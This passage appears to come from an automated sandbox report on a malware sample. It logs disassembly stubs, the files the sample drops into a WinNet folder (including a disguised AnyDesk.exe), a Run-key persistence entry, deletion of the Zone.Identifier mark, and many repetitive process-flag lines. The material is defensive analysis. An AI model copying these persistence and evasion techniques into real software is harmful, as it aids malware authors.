Source: C:\ProgramData\WinNet\embedded.exe	Code function: 7_2_0000022F0C40FEDC push ecx; ret	7_2_0000022F0C410045
Source: C:\ProgramData\WinNet\embedded.exe	Code function: 7_2_0000022F0C410048 push ecx; ret	7_2_0000022F0C4101A6
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_06CB6640 push FFFFFF8Bh; iretd	15_2_06CB664E
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_06CB6601 push FFFFFF8Bh; iretd	15_2_06CB6603
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_096AA9D0 push es; ret	15_2_096AA9E6
Source: C:\ProgramData\WinNet\gg.exe	Code function: 18_2_061D42DC pushad ; ret	18_2_061D42DD
Source: C:\ProgramData\WinNet\gg.exe	Code function: 18_2_071AB770 push 400718C3h; ret	18_2_071AB775
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: 19_2_69C2FCD0 push ecx; mov dword ptr [esp], 00000000h	19_2_69C2FCD7
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: 19_2_69C411DF push ecx; ret	19_2_69C411F2
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: 19_2_69C41676 push ecx; ret	19_2_69C41689
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_07C04B11 pushfd ; retf	21_2_07C04B12
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_07C042CC pushad ; ret	21_2_07C042DD
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_0965A120 pushad ; ret	21_2_0965A121
Source: C:\ProgramData\WinNet\gg.exe	Code function: 23_2_05A2FA58 push esp; ret	23_2_05A2FA59
Source: C:\ProgramData\WinNet\gg.exe	Code function: 23_2_06273FF7 pushad ; ret	23_2_062742B5
Source: C:\ProgramData\WinNet\gg.exe	Code function: 23_2_062739E1 pushfd ; retf	23_2_062739E2
Source: C:\ProgramData\WinNet\gg.exe	Code function: 23_2_06280500 push eax; retf	23_2_06280501

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Users\user\Desktop\SysrI6zSkJ.exe	Process created: reg.exe
Source: C:\ProgramData\WinNet\embedded.exe	Process created: reg.exe
Source: C:\Users\user\Desktop\SysrI6zSkJ.exe	Process created: reg.exe	Jump to behavior
Source: C:\ProgramData\WinNet\embedded.exe	Process created: reg.exe	Jump to behavior

Source: C:\Users\user\Desktop\SysrI6zSkJ.exe	File created: C:\ProgramData\WinNet\embedded.exe	Jump to dropped file
Source: C:\ProgramData\WinNet\AnyDesk.exe	File created: C:\Users\user\AppData\Local\Temp\gcapi.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SysrI6zSkJ.exe	File created: C:\ProgramData\WinNet\gg.exe	Jump to dropped file
Source: C:\ProgramData\WinNet\AnyDesk.exe	File created: C:\ProgramData\WinNet\gcapi.dll	Jump to dropped file
Source: C:\ProgramData\WinNet\embedded.exe	File created: C:\ProgramData\WinNet\AnyDesk.exe	Jump to dropped file

Source: C:\Users\user\Desktop\SysrI6zSkJ.exe	File created: C:\ProgramData\WinNet\embedded.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SysrI6zSkJ.exe	File created: C:\ProgramData\WinNet\gg.exe	Jump to dropped file
Source: C:\ProgramData\WinNet\AnyDesk.exe	File created: C:\ProgramData\WinNet\gcapi.dll	Jump to dropped file
Source: C:\ProgramData\WinNet\embedded.exe	File created: C:\ProgramData\WinNet\AnyDesk.exe	Jump to dropped file

Source: C:\Windows\System32\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Repository			Jump to behavior
Source: C:\Windows\System32\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Repository			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\ProgramData\WinNet\AnyDesk.exe

File opened: C:\ProgramData\WinNet\AnyDesk.exe:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\ProgramData\WinNet\AnyDesk.exe

Code function: 19_2_69C403B7 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

19_2_69C403B7

Source: C:\Users\user\Desktop\SysrI6zSkJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SysrI6zSkJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\embedded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\embedded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\AnyDesk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\AnyDesk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\AnyDesk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\AnyDesk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\AnyDesk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\AnyDesk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\AnyDesk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\AnyDesk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
